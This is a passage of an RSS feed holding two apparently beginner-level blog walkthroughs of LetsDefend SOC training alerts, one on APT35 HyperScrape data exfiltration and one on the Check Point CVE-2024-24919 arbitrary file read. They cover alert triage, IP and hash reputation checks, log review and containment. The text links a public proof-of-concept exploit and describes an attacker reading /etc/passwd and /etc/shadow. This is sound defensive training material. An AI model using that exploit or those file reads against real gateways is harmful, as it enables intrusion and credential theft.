&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdnk8mk6kchzs8tu16mnv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdnk8mk6kchzs8tu16mnv.png" alt="artifacts" width="800" height="593"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After adding the Analyst's notes, we finish the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friv22x29rbzemznblf4v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Friv22x29rbzemznblf4v.png" alt="finish" width="800" height="254"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
      <category>networksec</category>
    </item>
    <item>
      <title>LetsDefend SOC250 - APT35 HyperScrape Data Exfiltration Tool Detected</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sun, 26 Apr 2026 12:15:58 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/letsdefend-soc250-apt35-hyperscrape-data-exfiltration-tool-detected-3c03</link>
      <guid>https://forem.com/hitanshugedam/letsdefend-soc250-apt35-hyperscrape-data-exfiltration-tool-detected-3c03</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkttonhp95wmjj1e2s2e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkttonhp95wmjj1e2s2e4.png" alt="takeownership" width="800" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We start by taking the ownership of the alert.&lt;/p&gt;

&lt;p&gt;Next we create case for the alert.&lt;/p&gt;

&lt;p&gt;Next step is for us too start the playbook&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1u1gfruyn0u1dbkjhkl0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1u1gfruyn0u1dbkjhkl0.png" alt="playbook" width="800" height="226"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before we move ahead, let's search for the file's hash on VirusTotal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5vz21fhe43hjny3osj2f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5vz21fhe43hjny3osj2f.png" alt="virustotal" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;50 out of 70 vendors flag it as malicious, enough for us to conclude that is is.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkt3wmirg3n0hgprtdui.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkt3wmirg3n0hgprtdui.png" alt="enfpoint" width="800" height="382"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we move on to Endpoint Security to find if the malware was actually running on the infected host, and from the above screenshot we see that it is.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyi5lyhqt3kf199ftbwb8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyi5lyhqt3kf199ftbwb8.png" alt="logdescription" width="800" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the rule says that it was a data exfiltration attempt, the next step is we move on to Log Management and filter the logs with the IP as the filter.&lt;br&gt;
The firewall action saying SUCCESS, means that the firewall allowed it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsp5a87hfy9ch1ckq7vtv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsp5a87hfy9ch1ckq7vtv.png" alt="logon" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the screenshot of a log stating a successful logon (EventID 4624) by the source IP 173.209.51[.]54.&lt;/p&gt;

&lt;p&gt;I look up the IP address on the Threat Intel tab and find out that it is associated with APT35 CharmingKitten (&lt;a href="https://malpedia.caad.fkie.fraunhofer.de/actor/charming_kitten" rel="noopener noreferrer"&gt;https://malpedia.caad.fkie.fraunhofer.de/actor/charming_kitten&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faeos8vs5as45otcybvca.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faeos8vs5as45otcybvca.png" alt="ip" width="800" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the IP that was contacted by the host after the program ran.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3uqregrpv5ltei0cqpu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3uqregrpv5ltei0cqpu.png" alt="Iporption" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This IP belongs to the malicious IP&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flh84g4kqg8td55ezoxbi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flh84g4kqg8td55ezoxbi.png" alt="raw log" width="702" height="691"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After searching for Arthur's email id (arthur@letsdefend[.]io) in Email Security, there's no traffic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foc0h4hz53ierdybgit0r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foc0h4hz53ierdybgit0r.png" alt="popop" width="800" height="355"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After checking further in Endpoint Security, we see a program MpCmdRun.exe&lt;br&gt;
which ran the command SignaturesUpdateService with the -ScheduleJob and -UnmanagedUpdate parameters. This means that the file was able to modify the signatures&lt;/p&gt;

&lt;p&gt;Let's start the playbook&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9oxawf6jqvyzndnb4x0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9oxawf6jqvyzndnb4x0.png" alt="verify" width="800" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flolena4suflmm5cwncyq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flolena4suflmm5cwncyq.png" alt="idrecon" width="800" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fis3jrekp94wja2s5zwc7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fis3jrekp94wja2s5zwc7.png" alt="log" width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhflo6bvrjunv0xzbncjc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhflo6bvrjunv0xzbncjc.png" alt="checkalert" width="800" height="482"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3r1h9jwjzj46uuel1zw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3r1h9jwjzj46uuel1zw.png" alt="ans1" width="780" height="295"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fghwazvfw0pujuily3syi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fghwazvfw0pujuily3syi.png" alt="attackerip" width="800" height="294"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjdgv6xi7cxpitwm49n6y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjdgv6xi7cxpitwm49n6y.png" alt="malicious" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjqkvuuz83alnxbncfr7g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjqkvuuz83alnxbncfr7g.png" alt="morethan1" width="800" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fccluwwg6fbsje85m5smw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fccluwwg6fbsje85m5smw.png" alt="containescription" width="800" height="252"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fprf9sdjah1mzgmxsjo27.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fprf9sdjah1mzgmxsjo27.png" alt="contained" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfs3rrdavlj02nekgsn2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfs3rrdavlj02nekgsn2.png" alt="artifatsadded" width="800" height="514"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Analyst's notes:&lt;br&gt;
On December 27, 2023, at 11:22 AM, I identified an alert for suspicious behavior linked to a malicious file (hash: cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa), which VirusTotal confirmed as malicious with a score of 51. Upon investigation, I found that the file executed EmailDownloader.exe, though no associated emails were found in the email security logs. Log analysis revealed a file download at 11:21:48 on the host Arthur, where explorer.exe launched EmailDownloader.exe at 11:21:37, followed by MpCmdRun.exe running SignaturesUpdateService -ScheduleJob -UnmanagedUpdate at 11:38:10. The host was immediately contained with no further compromise, and I recommend blocking the attacker’s IP address and resetting the host’s password.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frrrc7eqrqz124ypjam6c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frrrc7eqrqz124ypjam6c.png" alt="finidh" width="800" height="233"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we finish the playbook and close the alert.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>socanalysis</category>
      <category>cybersecurity</category>
      <category>career</category>
    </item>
    <item>
      <title>LetsDefend SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919]</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sun, 26 Apr 2026 08:03:32 +0000</pubDate>
      <link>https://forem.com/hitanshugedam/letsdefend-soc287-arbitrary-file-read-on-checkpoint-security-gateway-cve-2024-24919-a49</link>
      <guid>https://forem.com/hitanshugedam/letsdefend-soc287-arbitrary-file-read-on-checkpoint-security-gateway-cve-2024-24919-a49</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fopxxqgfvkmy0xszm1tsk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fopxxqgfvkmy0xszm1tsk.png" alt="take ownership" width="800" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We start with taking ownership of the alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbut2efc1bh77khfctg39.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbut2efc1bh77khfctg39.png" alt="ownership taken" width="776" height="568"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our next step is to create a case for starting our investigation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2kc5bq612tnpxjjyzned.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2kc5bq612tnpxjjyzned.png" alt="created case" width="776" height="562"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After we start the playbook&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gohx9pb1azp1cdib2hf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gohx9pb1azp1cdib2hf.png" alt="playbook1" width="800" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We need to understand why the alert was triggered&lt;/p&gt;

&lt;p&gt;We start with examining the rule name &lt;code&gt;SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919]&lt;/code&gt; and using OSINT to find out more information about the reporte CVE&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3a50alf0c9g81w5c8vqv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3a50alf0c9g81w5c8vqv.png" alt="nvd" width="800" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the screenshot of the NIST National Vulnerability database webpage about the above CVE&lt;br&gt;
link: &lt;a href="https://nvd.nist.gov/vuln/detail/cve-2024-24919" rel="noopener noreferrer"&gt;https://nvd.nist.gov/vuln/detail/cve-2024-24919&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Description of the CVE:&lt;br&gt;
Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with remote Access VPN or Mobile Access Software Blades. A Security fix that mitigates this vulnerability is available. The base score (severity) of it is 8.6 which is HIGH.&lt;/p&gt;

&lt;p&gt;From the description of the alert, we know it was "Allowed".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9eve4kczqygrfc6c3sh7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9eve4kczqygrfc6c3sh7.png" alt="collectdata" width="800" height="483"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our next step is to be collecting data to get a better understanding of the communication traffic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbmlog5a36d7jqpsqosvi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbmlog5a36d7jqpsqosvi.png" alt="intel" width="800" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Above is the screenshot of the Threat Intel tab on LetsDefend after we search for the source IP on it.&lt;/p&gt;

&lt;p&gt;This is what we get after we search for the IP and look at its reputation on VirusTotal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faqgy3egr9due2gv8euoq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faqgy3egr9due2gv8euoq.png" alt="virustotal description" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The geolocation of the IP address is Hong Kong.&lt;br&gt;
We can now confirm the traffic is malicious and allowed, with low confidence since 2 out of 94 vendors found it malicious.&lt;/p&gt;

&lt;p&gt;Checking the IP's reputation on AbuseIPDB:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F10ypai291ntno214suin.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F10ypai291ntno214suin.png" alt="abuseipdb" width="800" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Below is what we find on Cisco Talos Intelligence:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpj3cgaktpv4965o5wkqp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpj3cgaktpv4965o5wkqp.png" alt="talosdescription" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;link: &lt;a href="https://talosintelligence.com/reputation_center/lookup?search=203.160.68.12" rel="noopener noreferrer"&gt;https://talosintelligence.com/reputation_center/lookup?search=203.160.68.12&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step for us is examining the HTTP traffic:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffgnndxgiz02sn1ehmrw0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffgnndxgiz02sn1ehmrw0.png" alt="httptraffic" width="800" height="538"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a POC for the CVE exploit:&lt;br&gt;
&lt;code&gt;https://github.com/un9nplayer/CVE-2024-24919&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let's dive in the logs now.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb9sf21nmnvku7kihj7dr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb9sf21nmnvku7kihj7dr.png" alt="log1" width="800" height="305"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like our attacker is attempting to navigate the file system of a server to access sensitive files like /etc/passwd and /etc/shadow on Unix-based systems, which contains user account information.&lt;/p&gt;

